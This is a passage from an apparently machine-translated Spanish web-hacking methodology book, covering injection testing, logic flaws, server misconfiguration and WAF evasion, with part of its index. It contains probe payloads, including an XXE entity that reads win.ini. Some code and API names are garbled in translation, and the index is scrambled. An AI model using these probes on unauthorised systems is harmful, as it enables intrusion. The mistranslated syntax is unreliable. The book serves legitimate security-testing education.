%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n! etc...
%1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s! etc...
Recuerde codificar en URL el carácter % como %25.
8.2.3.2 Monitoree las respuestas de la aplicación para eventos anómalos, como se describe en el paso 8.2.1.2.
8.3 Prueba de inyección de SOAP

8.3.1 Apunte a cada parámetro por turno que sospeche que se está procesando a través de
un mensaje SOAP. Envíe una etiqueta de cierre XML no autorizada, como </foo>. Si
no ocurre ningún error, es probable que su entrada no se esté insertando en un
mensaje SOAP o se esté desinfectando de alguna manera.
8.3.2 Si se recibió un error, envíe en su lugar un par de etiquetas de apertura y cierre válidas,
como <foo></foo>. Si esto hace que desaparezca el error, la aplicación puede ser
vulnerable.
8.3.3 Si el elemento que envía se vuelve a copiar en las respuestas de la solicitud, envíe los
dos valores siguientes a la vez. Si encuentra que cualquiera de los elementos se
devuelve como el otro, o simplemente como una prueba, puede estar seguro de que
su entrada se está insertando en un mensaje basado en XML.
prueba<foo/>
prueba<foo></foo>
8.3.4 Si la solicitud HTTP contiene varios parámetros que se pueden colocar en un mensaje
SOAP, intente insertar el carácter de comentario de apertura  en otro parámetro. Luego cámbielos (porque no
tiene forma de saber en qué orden aparecen los parámetros). Esto puede tener el
efecto de comentar una parte del mensaje SOAP del servidor, lo que puede cambiar la
lógica de la aplicación o generar una condición de error diferente que puede divulgar
información.
8.4 Prueba de inyección LDAP

8.4.1 En cualquier funcionalidad en la que se utilicen datos proporcionados por el usuario
para recuperar información de un servicio de directorio, dirija cada parámetro a su vez
para probar la inyección potencial en una consulta LDAP.
8.4.2 Envíe el carácter * . Si se devuelve un gran número de resultados, esto es

un buen indicador de que se trata de una consulta LDAP.
8.4.3 Intente ingresar una cantidad de paréntesis de cierre:

))))))))))
Esta entrada invalida la sintaxis de la consulta, por lo que si se produce un error u

otro comportamiento anómalo, la aplicación puede ser vulnerable (aunque muchas
otras funciones de la aplicación y situaciones de inyección pueden comportarse de la
misma manera).
8.4.4 Intente ingresar varias expresiones diseñadas para interferir con diferentes tipos
de consultas, y vea si esto le permite influir en los resultados que se obtienen.
devuelto El atributo cn es compatible con todas las implementaciones de

LDAP y es útil si no conoce ningún detalle sobre el directorio que está
consultando:
)(cn=* *))
(|(cn=* *))%00
8.4.5 Intente agregar atributos adicionales al final de su entrada, usando comas para separar
cada elemento. Pruebe cada atributo a su vez. Un error indica que el atributo no es
válido en el contexto actual. Los siguientes atributos se usan comúnmente en directorios
consultados por LDAP:
cn
C
correo
nombre de pila
o
UNED
corriente continua
yo
fluido
clase de objeto
direccion postal
dn
sn
8.5 Prueba de inyección XPath

8.5.1 Intente enviar los siguientes valores y determine si dan como resultado un comportamiento
diferente de la aplicación sin causar un error:
'
o contar(padre::*[posición()=1])=0 o 'a'='b o contar(padre::*[posición()=1])>0
' o 'a'='b
8.5.2 Si el parámetro es numérico, pruebe también las siguientes cadenas de prueba:
1 o contar(padre::*[posición()=1])=0 1 o
contar(padre::*[posición()=1])>0
8.5.3 Si alguna de las cadenas anteriores causa un comportamiento diferencial dentro de la

aplicación sin causar un error, es probable que pueda extraer datos arbitrarios creando
condiciones de prueba para extraer 1 byte de información a la vez. Use una serie de
condiciones con el siguiente formulario para determinar el nombre del padre del nodo
actual:
subcadena(nombre(padre::*[posicion()=1]),1,1)='a'
8.5.4 Habiendo extraído el nombre del nodo padre, use una serie de condiciones con el
siguiente formulario para extraer todos los datos dentro del árbol XML:
substring(//nombredenodopadre[posición()=1]/hijo::nodo()[posición()=1]
/texto(),1,1)='a'
8.6 Prueba de inyección de solicitud de back-end

8.6.1 Localice cualquier instancia en la que se especifique un nombre de servidor interno
o una dirección IP en un parámetro. Envíe un servidor y un puerto arbitrarios y
controle la aplicación para ver si se agota el tiempo de espera. También envíe
localhost y finalmente su propia dirección IP, monitoreando las conexiones
entrantes en el puerto especificado.
8.6.2 Apunte a un parámetro de solicitud que devuelva una página específi ca para un
valor específi co e intente agregar un nuevo parámetro inyectado utilizando varias
sintaxis, incluida la siguiente: %26foo%3dbar (codificado en URL &foo=bar)
%3bfoo% 3dbar (codificado en URL ; foo=bar) %2526foo%253dbar (codificado
en URL doble &foo=bar)
Si la aplicación se comporta como si el parámetro original no hubiera sido modificado,

existe la posibilidad de vulnerabilidades de inyección de parámetros HTTP. Intente
atacar la solicitud de back-end inyectando pares de nombre/ valor de parámetro
conocidos que pueden alterar la lógica de back-end, como se describe en el Capítulo 10.
8.7 Prueba de inyección XXE

8.7.1 Si los usuarios envían XML al servidor, es posible que se produzca un ataque de
inyección de entidad externa . Si se conoce un campo que se devuelve al usuario,
intente especificar una entidad externa, como en el siguiente ejemplo:
POST /search/128/AjaxSearch.ashx HTTP/1.1
<!DOCTYPE foo [ <!ENTIDAD xxe SISTEMA “archivo:///windows/win.ini” > ]>

Si no se puede encontrar ningún campo conocido, especifique una entidad externa

de "http://192.168.1.1:25" y controle el tiempo de respuesta de la página. Si la
página tarda mucho más en volver o se agota el tiempo de espera, puede ser vulnerable.
9 Prueba de fallas lógicas
9.1. Identificar la superficie de ataque clave
9.2. 9.3. 9.4. 9.5.
Procesos Entrada Límites Lógica de
multietapa incompleta de confianza transacción
Figura 21-10: Prueba de fallas lógicas
9.1 Identificar la superficie de ataque clave

9.1.1 Las fallas de lógica pueden tomar una gran variedad de formas y existir dentro de
cualquier aspecto de la funcionalidad de la aplicación. Para asegurarse de que la
prueba de fallas lógicas sea factible, primero debe reducir la superficie de ataque a
un área razonable para la prueba manual.
9.1.2 Revise los resultados de sus ejercicios de mapeo de aplicaciones e identifique
cualquier instancia de las siguientes
funciones: n Procesos de varias etapas n
Funciones de seguridad críticas, como el inicio
de sesión
n Funcionalidad basada en contexto presentada a un

usuario n Comprobaciones y ajustes realizados a precios o cantidades de transacción
9.2 Probar Procesos de Múltiples Etapas

9.2.1 Cuando un proceso de múltiples etapas involucra una secuencia definida de
solicitudes, intente enviar estas solicitudes fuera de la secuencia esperada.
Intente omitir ciertas etapas, acceder a una sola etapa más de una vez y
acceder a las etapas anteriores después de las posteriores.
9.2.2 Se puede acceder a la secuencia de etapas a través de una serie de solicitudes
GET o POST para distintas URL, o pueden implicar el envío de diferentes
conjuntos de parámetros a la misma URL. Puede especificar la etapa que se está
solicitado enviando un nombre de función o índice dentro de un parámetro de

solicitud. Asegúrese de comprender completamente los mecanismos que
emplea la aplicación para brindar acceso a distintas etapas.
9.2.3 Además de interferir con la secuencia de pasos, intente tomar parámetros que se envían
en una etapa del proceso y enviarlos en una etapa diferente. Si los elementos de datos
relevantes se actualizan dentro del estado de la aplicación, debe investigar si puede
aprovechar este comportamiento para interferir con la lógica de la aplicación.
9.2.4 Si un proceso de múltiples etapas involucra a diferentes usuarios que realizan operaciones
en el mismo conjunto de datos, intente tomar cada parámetro enviado por un usuario y
enviarlo como otro. Si son aceptados y procesados como ese usuario, explore las
implicaciones de este comportamiento, como se describió anteriormente.
9.2.5 Desde el contexto de la funcionalidad que se implementa, intente comprender qué

suposiciones pueden haber hecho los desarrolladores y dónde se encuentra la superficie
de ataque clave. Trate de identificar formas de violar esos supuestos para causar un
comportamiento no deseado dentro de la aplicación.
9.2.6 Cuando se accede a funciones de múltiples etapas fuera de secuencia, es común encontrar
una variedad de condiciones anómalas dentro de la aplicación, como variables con
valores nulos o no inicializados, estado parcialmente definido o inconsistente y otro
comportamiento impredecible. Busque mensajes de error interesantes y resultados de
depuración, que puede usar para comprender mejor el funcionamiento interno de la
aplicación y, por lo tanto, ajustar el ataque actual o uno diferente.
9.3 Manejo de prueba de entrada incompleta

9.3.1 Para las funciones críticas de seguridad dentro de la aplicación, que involucran el
procesamiento de varios elementos ingresados por el usuario y la toma de una decisión
basada en estos, pruebe la resistencia de la aplicación a las solicitudes que contienen
entradas incompletas.
9.3.2 Para cada parámetro, elimine tanto el nombre como el valor del parámetro de la solicitud.
Supervise las respuestas de la aplicación para detectar cualquier divergencia en su
comportamiento y cualquier mensaje de error que arroje luz sobre la lógica que se está
ejecutando.
9.3.3 Si la solicitud que está manipulando es parte de un proceso de múltiples etapas, siga el
proceso hasta su finalización, ya que la aplicación puede almacenar datos enviados en
etapas anteriores dentro de la sesión y luego procesarlos en una etapa posterior.
844 Capítulo 21 n La metodología de un hacker de aplicaciones web
9.4 Límites de confianza de prueba
9.4.1 Indague cómo la aplicación maneja las transiciones entre diferentes tipos de confianza
del usuario. Busque la funcionalidad en la que un usuario con un estado de confianza
determinado pueda acumular una cantidad de estado en relación con su identidad.
Por ejemplo, un usuario anónimo podría proporcionar información personal durante
el registro automático o continuar con parte de un proceso de recuperación de cuenta
diseñado para establecer su identidad.
9.4.2 Trate de encontrar formas de hacer transiciones incorrectas a través de los límites de
confianza acumulando estado relevante en un área y luego cambiando a un área
diferente de una manera que normalmente no ocurriría. Por ejemplo, después de
haber completado parte de un proceso de recuperación de cuenta, intente cambiar
a una página específi ca del usuario autenticado. Pruebe si la aplicación le asigna
un nivel de confianza inapropiado cuando realiza la transición de esta manera.
9.4.3 Trate de determinar si puede aprovechar alguna función de mayor privilegio directa o
indirectamente para acceder o inferir información.
9.5 Lógica de transacción de prueba

9.5.1 En los casos en que la aplicación imponga límites de transacción, probar los efectos
de presentar valores negativos. Si se aceptan, es posible superar los límites
realizando grandes transacciones en la dirección opuesta.
9.5.2 Examine si puede usar una serie de transacciones sucesivas para generar un estado
que pueda explotar para un propósito útil. Por ejemplo, es posible que pueda realizar
varias transferencias de bajo valor entre cuentas para acumular un gran saldo que la
lógica de la aplicación pretendía evitar.
9.5.3 Si la aplicación ajusta precios u otros valores sensibles en función de criterios

determinados por datos o acciones controlables por el usuario, primero comprenda
los algoritmos utilizados por la aplicación y el punto dentro de su lógica donde se
realizan los ajustes. Identifique si estos ajustes se realizan una sola vez o si se
revisan en respuesta a otras acciones realizadas por el usuario.
9.5.4 Trate de encontrar formas de manipular el comportamiento de la aplicación para que

llegue a un estado en el que los ajustes que ha aplicado no se correspondan con los
criterios originales previstos por sus diseñadores.
10 prueba de vulnerabilidades de alojamiento compartido
10.1. Probar la segregación en infraestructuras compartidas
10.2. Probar la segregación entre aplicaciones alojadas en ASP
Figura 21-11: Prueba de vulnerabilidades de alojamiento compartido
10.1 Probar la Segregación en Infraestructuras Compartidas

10.1.1 Si la aplicación está alojada en una infraestructura compartida, examinar los
mecanismos de acceso proporcionados a los clientes del entorno compartido
para actualizar y administrar su contenido y funcionalidad. Considere las
siguientes preguntas: n ¿La instalación de acceso remoto utiliza un
protocolo seguro y
infraestructura reforzada?
n ¿Pueden los clientes acceder a archivos, datos y otros recursos a los que no
necesitan acceder legítimamente? n ¿Pueden los clientes obtener un shell
interactivo dentro del entorno de hospedaje?
ment y ejecutar comandos arbitrarios?
10.1.2 Si se utiliza una aplicación patentada para permitir que los clientes configuren y
personalicen un entorno compartido, considere apuntar a esta aplicación como una
forma de comprometer el propio entorno y las aplicaciones individuales que se
ejecutan en él.
10.1.3 Si puede lograr la ejecución de comandos, la inyección SQL o el acceso arbitrario a
archivos dentro de una aplicación, investigue detenidamente si esto proporciona
alguna forma de escalar su ataque para apuntar a otras aplicaciones.
10.2 Prueba de segregación entre aplicaciones alojadas en ASP

10.2.1 Si la aplicación pertenece a un servicio alojado en ASP compuesto por una
combinación de componentes compartidos y personalizados, identifique cualquier
componente compartido, como mecanismos de registro, funciones administrativas
y componentes de código de base de datos. Intente aprovecharlos para comprometer
la parte compartida de la aplicación y, por lo tanto, atacar otras aplicaciones
individuales.
846 Capítulo 21 n La metodología de un hacker de aplicaciones web
10.2.2 Si se utiliza una base de datos común dentro de cualquier tipo de entorno compartido,
realice una auditoría integral de la configuración de la base de datos, el nivel de parche,
la estructura de la tabla y los permisos mediante una herramienta de exploración de
bases de datos como NGSSquirrel. Cualquier defecto dentro del modelo de seguridad de
la base de datos puede proporcionar una forma de escalar un ataque desde una aplicación a otra.
11 Prueba de vulnerabilidades del servidor de aplicaciones
11.1. Prueba de credenciales predeterminadas
11.2. Prueba de contenido predeterminado
11.3. Prueba de métodos HTTP peligrosos
11.4. Prueba de funcionalidad de proxy
11.5. Prueba de configuración incorrecta de alojamiento virtual
11.6. Prueba de errores de software del servidor web
11.7. Prueba de cortafuegos de aplicaciones web
Figura 21-12: Prueba de vulnerabilidades del servidor web
11.1 Prueba de credenciales predeterminadas
11.1.1 Revise los resultados de sus ejercicios de mapeo de aplicaciones para identificar el servidor
web y otras tecnologías en uso que pueden contener interfaces administrativas accesibles.
11.1.2 Realice un escaneo de puertos del servidor web para identificar las interfaces administrativas
que se ejecutan en un puerto diferente al de la aplicación de destino principal.
11.1.3 Para cualquier interfaz identificada, consulte la documentación del fabricante y las listas de
contraseñas predeterminadas comunes para obtener las credenciales predeterminadas.
11.1.4 Si las credenciales predeterminadas no funcionan, siga los pasos enumerados en la sección 4
para intentar adivinar las credenciales válidas.
11.1.5 Si obtiene acceso a una interfaz administrativa, revise la funcionalidad disponible y determine
si se puede usar para comprometer aún más el host y atacar la aplicación principal.
11.2 Prueba de contenido predeterminado
11.2.1 Revise los resultados de su escaneo Nikto (paso 1.4.1) para identificar cualquier
contenido predeterminado que pueda estar presente en el servidor pero que no sea
parte integral de la aplicación.
11.2.2 Utilice motores de búsqueda y otros recursos como www.exploit-db.com y

www.osvdb.org para identificar el contenido y la funcionalidad predeterminados
incluidos en las tecnologías que sabe que están en uso. Si es factible, realice
una instalación local de estos y revíselos en busca de cualquier funcionalidad
predeterminada que pueda aprovechar en su ataque.
11.2.3 Examine el contenido predeterminado en busca de funcionalidades o vulnerabilidades
que pueda aprovechar para atacar el servidor o la aplicación.
11.3 Prueba de métodos HTTP peligrosos

11.3.1 Use el método OPTIONS para enumerar los métodos HTTP que el servidor indica que están
disponibles. Tenga en cuenta que se pueden habilitar diferentes métodos en diferentes
directorios. Puede realizar un análisis de vulnerabilidades en Paros para realizar esta
comprobación.
11.3.2 Pruebe cada método informado manualmente para confi rmar si de hecho puede ser
usado.
11.3.3 Si encuentra que algunos métodos WebDAV están habilitados, use un cliente habilitado para
WebDAV para una mayor investigación, como Microsoft FrontPage o la opción Abrir como
carpeta web en Internet Explorer.
11.4 Prueba de funcionalidad de proxy

11.4.1 Con las solicitudes GET y CONNECT , intente usar el servidor web como
un proxy para conectarse a otros servidores en Internet y recuperar
contenido de ellos.
11.4.2 Utilizando solicitudes GET y CONNECT , intente conectarse a diferentes
direcciones IP y puertos dentro de la infraestructura de alojamiento.
11.4.3 Con las solicitudes GET y CONNECT , intente conectarse a números de
puerto comunes en el propio servidor web especificando 127.0.0.1 como host
de destino en la solicitud.
11.5 Prueba de configuración incorrecta de alojamiento virtual
11.5.1 Envíe solicitudes GET al directorio raíz usando lo siguiente:
n El encabezado de Host correcto
n Un encabezado de Host falso

n La dirección IP del servidor en el encabezado Host
n Sin encabezado de host (use solo HTTP/1.0)
11.5.2 Compare las respuestas a estas solicitudes. Un resultado común es que se obtienen
listados de directorios cuando se usa la dirección IP del servidor en el encabezado del
Host . También puede encontrar que se puede acceder a diferentes contenidos predeterminados.
11.5.3 Si observa un comportamiento diferente, repita los ejercicios de asignación de aplicaciones

descritos en la sección 1 utilizando el nombre de host que generó resultados diferentes.
Asegúrese de realizar un escaneo Nikto usando la opción -vhost para identificar cualquier
contenido predeterminado que se haya pasado por alto durante el mapeo inicial de la
aplicación.
11.6 Prueba de errores de software del servidor web

11.6.1 Ejecute Nessus y cualquier otro escáner similar que tenga disponible para identificar
cualquier vulnerabilidad conocida en el software del servidor web que está atacando.
11.6.2 Revise recursos como Security Focus, Bugtraq y Full Disclosure para encontrar detalles de
las vulnerabilidades descubiertas recientemente que pueden no haberse corregido en su
objetivo.
11.6.3 Si la aplicación fue desarrollada por un tercero, investigue si se envía con su propio servidor
web (a menudo, un servidor de código abierto). Si es así, investigue esto en busca de
vulnerabilidades. Tenga en cuenta que, en este caso, es posible que se haya modificado
el banner estándar del servidor.
11.6.4 Si es posible, considere realizar una instalación local del software que está atacando y
realice sus propias pruebas para encontrar nuevas vulnerabilidades que no se hayan
descubierto o que no hayan circulado ampliamente.
11.7 Prueba de cortafuegos de aplicaciones web

11.7.1 Envíe un nombre de parámetro arbitrario a la aplicación con una carga útil de ataque clara
en el valor, idealmente en algún lugar donde la aplicación incluya el nombre y/o el valor
en la respuesta. Si la aplicación bloquea el ataque, es probable que se deba a una
defensa externa.
11.7.2 Si se puede enviar una variable que se devuelve en una respuesta del servidor, envíe un
rango de cadenas fuzz y variantes codificadas para identificar el comportamiento de las
defensas de la aplicación ante la entrada del usuario.
11.7.3 Confirme este comportamiento realizando los mismos ataques a las variables dentro de la
aplicación.
11.7.4 Para todas las cadenas y solicitudes de fuzzing, use cadenas de carga útil que es poco
probable que existan en una base de datos de firmas estándar. Aunque dando ejemplos de
esto es por definición imposible, evite usar /etc/passwd o /windows/ system32/

config/sam como cargas útiles para la recuperación de archivos. También
evite usar términos como <script> en un ataque XSS y use alert() o xss como
cargas útiles XSS.
11.7.5 Si se bloquea una solicitud en particular, intente enviar el mismo parámetro en una
ubicación o contexto diferente. Por ejemplo, envíe el mismo parámetro en la URL en
una solicitud GET , dentro del cuerpo de una solicitud POST y dentro de la URL en una
solicitud POST .
11.7.6 En ASP.NET, también intente enviar el parámetro como una cookie. La API
Request.Params[“foo”] recuperará el valor de una cookie llamada foo si el parámetro
foo no se encuentra en la cadena de consulta o en el cuerpo del mensaje.
11.7.7 Revise todos los demás métodos para introducir la entrada del usuario proporcionados en
el Capítulo 4, eligiendo cualquiera que no esté protegido.
11.7.8 Determinar las ubicaciones donde la entrada del usuario se envía (o se puede enviar) en
un formato no estándar, como serialización o codificación. Si no hay ninguno disponible,
construya la cadena de ataque por concatenación y/o expandiéndola a través de
múltiples variables. (Tenga en cuenta que si el objetivo es ASP.NET, puede usar HPP
para concatenar el ataque usando múltiples especificaciones de la misma variable).
12 cheques varios
12.1. Prueba de ataques basados en DOM
12.2. Prueba de vulnerabilidades de privacidad locales
12.3. Prueba de cifrados SSL débiles
12.4. Comprobar la configuración de la política del mismo origen
Figura 21-13: Cheques varios
12.1 Verificación de ataques basados en DOM
12.1.1 Realice una breve revisión del código de cada fragmento de JavaScript recibido de la
aplicación. Identifique cualquier vulnerabilidad de redirección o XSS que pueda
desencadenarse mediante el uso de una URL manipulada para introducir datos
maliciosos en el DOM de la página correspondiente. Incluir todos los archivos JavaScript independientes
y scripts contenidos en páginas HTML (tanto estáticas como dinámicamente

generadas).
12.1.2 Identifique todos los usos de las siguientes API, que pueden usarse para acceder a datos DOM
que pueden controlarse a través de una URL manipulada:
documento.ubicación
documento.URL
documento.URLUsincodificar
documento.referente
ventana.ubicación
12.1.3 Rastree los datos relevantes a través del código para identificar qué acciones se realizan con él.
Si los datos (o una forma manipulada de los mismos) se pasan a una de las siguientes API, la
aplicación puede ser vulnerable a XSS:
documento.escribir()
documento.writeln()
documento.cuerpo.innerHtml
eval()
ventana.execScript()
ventana.setInterval()
ventana.setTimeout()
12.1.4 Si los datos se pasan a una de las siguientes API, la aplicación puede
ser vulnerable a un ataque de redirección:
documento.ubicación
documento.URL
documento.open()
ventana.ubicación.href
ventana.navegar()
ventana.abrir()
12.2 Verificación de vulnerabilidades de privacidad local

12.2.1 Revise los registros creados por su proxy de interceptación para identificar
todas las directivas Set-Cookie recibidas de la aplicación durante su
prueba . Si alguno de estos contiene un atributo de expiración con una
fecha futura, los navegadores de los usuarios almacenarán la cookie hasta esa fecha.
Revise el contenido de cualquier cookie persistente en busca de datos confidenciales.
12.2.2 Si se establece una cookie persistente que contiene datos confidenciales, un atacante local puede
capturar estos datos. Incluso si los datos están encriptados, un atacante que los capture podrá
volver a enviar la cookie a la aplicación y obtener acceso a cualquier dato o funcionalidad que
esto permita.
12.2.3 Si se accede a través de HTTP a páginas de aplicaciones que contienen datos

confidenciales, busque directivas de caché en las respuestas del servidor. Si
alguna de las siguientes directivas no existe (ya sea dentro de los encabezados HTTP
o dentro de metaetiquetas HTML), la página en cuestión puede ser almacenada en caché por uno o más
navegadores:
Caduca: 0
Pragma: sin caché
12.2.4 Identifique cualquier instancia dentro de la aplicación en la que se transmitan datos confidenciales a través
de un parámetro de URL. Si existe algún caso, examine el historial del navegador para verificar que estos
datos se han almacenado allí.
12.2.5 Para todos los formularios que se utilizan para capturar datos confidenciales del usuario (como detalles de la
tarjeta de crédito), revise la fuente HTML del formulario. Si el atributo autocompletar=desactivado no está
establecido, ya sea dentro de la etiqueta del formulario o la etiqueta del campo de entrada individual, los
datos ingresados se almacenan en los navegadores que admiten la función de autocompletar, siempre
que el usuario no haya deshabilitado esta función.
12.2.6 Comprobar el almacenamiento local específico de la tecnología.
12.2.6.1 Verifique los objetos locales de Flash utilizando el complemento BetterPrivacy para Firefox.
12.2.6.2 Compruebe cualquier almacenamiento aislado de Silverlight en este directorio:

C:\Usuarios\{nombre de usuario}\AppData\LocalLow\Microsoft\
Luz plateada\
12.2.6.3 Compruebe cualquier uso del almacenamiento local de HTML5.
12.3 Verificación de cifrados SSL débiles

12.3.1 Si la aplicación utiliza SSL para alguna de sus comunicaciones, utilice la herramienta
THCSSLMarque para enumerar los cifrados y protocolos admitidos.
12.3.2 Si se admiten cifrados y protocolos débiles u obsoletos, un atacante posicionado adecuadamente puede
realizar un ataque para degradar o descifrar las comunicaciones SSL de un usuario de la aplicación,
obteniendo acceso a sus datos confidenciales.
12.3.3 Algunos servidores web anuncian ciertos cifrados y protocolos débiles como admitidos, pero se niegan a
completar un protocolo de enlace si un cliente los solicita. Esto puede dar lugar a falsos positivos cuando
utiliza la herramienta THCSSLCheck. Puede usar el navegador Opera para intentar realizar un apretón
de manos completo usando protocolos débiles específicos para confi rmar si realmente se pueden usar
para acceder a la aplicación.
12.4 Comprobar la configuración de la política del mismo origen

12.4.1 Busque el archivo /crossdomain.xml . Si la aplicación permite el acceso sin
restricciones (especificando <allow-access-from domain=”*” />), los objetos Flash
desde cualquier otro sitio se puede realizar interacción bidireccional, cabalgando sobre
las sesiones de los usuarios de la aplicación. Esto permitiría que cualquier otro dominio
recupere todos los datos y realice cualquier acción del usuario.
12.4.2 Busque el archivo /clientaccesspolicy.xml . De forma similar a Flash, si la
configuración <cross-domain-access> es demasiado permisiva, otros sitios
pueden realizar una interacción bidireccional con el sitio que se está evaluando.
12.4.3 Pruebe el manejo de una aplicación de solicitudes entre dominios utilizando XMLHttpRequest
agregando un encabezado de origen que especifique un dominio diferente y examinando
los encabezados de control de acceso que se devuelven.
Las implicaciones de seguridad de permitir el acceso bidireccional desde cualquier
dominio, o desde otros dominios especificados, son las mismas que las descritas para la
política de dominios cruzados de Flash.
13 Seguimiento de cualquier fuga de información
13.1 En todas sus pruebas de la aplicación de destino, controle sus respuestas en busca de
mensajes de error que puedan contener información útil sobre la causa del error, las
tecnologías en uso y la estructura interna y la funcionalidad de la aplicación.
13.2 Si recibe mensajes de error inusuales, investíguelos utilizando motores de búsqueda

estándar. Puede utilizar varias funciones de búsqueda avanzada para reducir los
resultados. Por ejemplo:
"no se puede recuperar" tipo de archivo: php
13.3 Revise los resultados de la búsqueda, buscando cualquier discusión sobre el

mensaje de error y cualquier otro sitio web en el que haya aparecido el mismo
mensaje . Otras aplicaciones pueden generar el mismo mensaje en un contexto
más detallado, lo que le permite comprender mejor qué tipo de condiciones
dan lugar al error. Utilice la memoria caché del motor de búsqueda para
recuperar ejemplos de mensajes de error que ya no aparecen en la aplicación activa.
13.4 Use la búsqueda de código de Google para localizar cualquier código disponible
públicamente que pueda ser responsable de un mensaje de error en particular. Busque
fragmentos de mensajes de error que pueden estar codificados en el código fuente de la aplicación.
También puede usar varias funciones de búsqueda avanzada para especificar el lenguaje
del código y otros detalles, si los conoce. Por ejemplo:
incapaz\ de\ recuperar lang:php paquete:correo
13.5 Si recibe mensajes de error con seguimientos de pila que contienen los nombres de la
biblioteca y los componentes de código de terceros, busque estos nombres en ambos
tipos de motores de búsqueda.
Índice
A cliente, 665–666 relaciones plataformas, 264–265
Absinthe, 322 URL de confianza en arquitectura por niveles, programática, 282 basada
649 controles de acceso en referencia, 266 basada
absolutas, bloqueo de vulnerabilidades de
redirección abierta, 544–545 prefijo, 545– en roles, 282 seguridad,
546 enfoque de “aceptar bien conocido”, prueba de cuenta, 267–270 278–283 mejores prácticas,
Métodos API, 276–277 279–280 enfoque de componente
entrada, 24
Métodos HTTP, 278 acceso central,
limitado, 273–276 función 280
acceso multietapa, 271–273 recursos estáticos, modelo de privilegio de múltiples
Atacantes de ASP, 658–660 277 mapeo de aplicaciones, 268–269 capas, 280–283 trampas,
Base de datos de métodos de la atacantes, 266–278 tipos, 258–260 nombres 278–279 recursos estáticos,
API ASP.NET, 721 archivo, de usuario y contraseñas, 275–276 263–264 prueba de cuenta, 277
720 ASP y cliente, 665–666 componentes de back-end, 357 rotos , 7, funcionalidad desprotegida,
base de datos 274 dependiente del contexto, 258 métodos API, 260–261 vertical, 258
declarativo, 282–283 defectuoso, vulnerabilidades, 258–266, 276 fallas
Métodos de la API de ASP.NET, 721 257 discrecional, 282 fallas, 284 metodología de lógica de aplicación, 411
de hackers acceso inseguro, 823 acceso
métodos de la API de Java, 714–715
métodos de la API del lenguaje Perl, limitado, 822–823 cuentas múltiples, 822
737–738 requisitos, 821 horizontal, 258 basado en Acceso-Control-Permitir
PHP API métodos, 729–730 manejo de identificadores funciones, 261–262 Encabezados de origen, URL de
activación de cuenta 528–529, suspensión
mecanismos de defensa, 18–21 autenticación,
18–19 control, 20–21 gestión de de cuenta 184, prueba de cuenta 197–
sesiones, 19–20 198, controles de acceso,

267–270
Métodos API, 276–277

métodos HTTP, 278 acceso
Métodos de la API de Java
base de datos, 714–715 limitado, 273–276 función
archivo, 713 multietapa, 271–273 recursos estáticos,

277
Base de datos de métodos API del
lenguaje Perl, archivo 737–738, 737 representante de Aquiles, 751
métodos inseguros, 265–266 basados Formato de mensaje de acción (AMF),
Métodos de la API de PHP en la ubicación, 266 funciones de 135
base de datos, 729–730 varias etapas, 262–263 pruebas, 271–273 Burp Suite, 137
archivo, 727–729 basados en parámetros, 265–266 escaneo activo, 764–765

segregación por usuario, 274 controles ActiveX, 447
atacantes de alojamiento
compartido, 658–660 COMRaider, 558
853
854 Índice n A–A
metodología hacker, extensiones de navegador, superficie de ataque de la

804 Acceso a base de datos Java, 714–715 metodología del hacker, 842
Modificación de HTML, 557 registro ejecución de código dinámico, 715 acceso entrada incompleta, 843
“seguro para secuencias de a archivos, 713 funciones de varias etapas, 842–
comandos”, 555–557 Ejecución de comandos del sistema 843
vulnerabilidades, 555–556 detección, operativo, 715–716 lógica de transacciones, 844

556–558 prevención, 558–559 potencialmente peligroso, relaciones de confianza, 844
funciones administrativas, 713–716 metodología del hacker,
aplicaciones web, 35–36 administradores enchufes, 716 autenticación, 811–813 invalidación
Redirección de URL, 716 de validación de entrada, 420–422
Entrada de usuario de Java, 712
DBA, 325–326 JavaScript basado en DOM, 740 lecciones, 428–429
mecanismos de defensa que manejan a los Acceso a base de función de inicio de sesión, 426–
atacantes, alertas, 33–34 datos en lenguaje Perl, 737–738 427 condiciones de carrera, 427
Ajax ejecución de código dinámico, 738 acceso naturaleza de, 406 función de
HTML5, 487 XSS a archivos, 737 cambio de contraseña, 409–410
almacenado en archivos cargados a Ejecución de comandos del SO, 738
través de, 486–487 funcionalidad potencialmente peligrosa, 736–739 procediendo a pagar,
web, 62–63, 384 Alcon, Wade, 565 alertas, 410–411
33–34 Allaire JRun, 690–691 allow_url_include, enchufes, 739 mundo real, 406–407 rodar
729 AMF. Ver formato de mensaje de acción Redirección de URL, 738 su propio seguro, 412–413 función de
carácter ampersand, función por lotes, 360– PHP búsqueda, 429 abuso, 422–424
361, 363 Anley, Chris, 218, 322, 634 alertas acceso a base de datos, 729–730 seguridad, 428 gestión de sesión, 429
de eventos anómalos, 33 tokens anti-CSRF, ejecución de código dinámico, 730– metacaracteres de shell, 419 código
508–509, 516–517 anulación de XSS, 731 fuente, 428
509–510 anti-XSS fi ltros, 452 IE, 748 acceso a archivos, 727–729
Aplicación AOL AIM Enterprise Gateway, Ejecución de comandos del SO, 731
409 Desbordamiento de codificación potencialmente peligrosa, 727–732

fragmentada de Apache, 688 mensajes de Inyección SQL, 420–422 registros
error, 628 mod_isapi, 688 mod_proxy, 688 sockets, 732 de aplicaciones, 262 asignación de
XSS reflejado, 442 Tomcat, 673 redirección de URL, 731–732 aplicaciones, 73 controles de acceso,
alojamiento virtual, 683 redirección del lado del servidor, 392 268–269 análisis, 97–113 áreas
inyección de SQL, 291 versatilidad, 358 clave, 97–98 superficie de ataque,

Apple iDisk Server, vulnerabilidades 111 ejemplo, 112–113
transversales de ruta, 690 aplicación. Ver
arquitectura de aplicaciones de aplicaciones
web. Ver fallas en la lógica de la aplicación de Burp Suite, 268

arquitecturas en niveles vulnerabilidades en los comparaciones, 268–269
controles de acceso, 411 enumeración de contenido y
funcionalidad, 74–97
metodología de hackers, 795–798 parámetros
de depuración, 798 contenido
superficie de ataque, 405 predeterminado, 797 enumeración de
seguimiento de auditoría, identificadores,
429 autenticación, 415–416 evitar, 797–798
métodos API 428–429 superar el límite comercial, contenido oculto, 796–797 recursos
controles de acceso a, 260–261 prueba 416–417, de información pública, 796 tokens para
de cuentas, 276–277 base de datos 429 sesiones, 818 contenido visible,
ASP.NET, 721 ejecución de código romper el banco, 414–416 hacer 795–796 contenido oculto
dinámico, 722 acceso a archivos, trampa con descuento por volumen, 418, 429
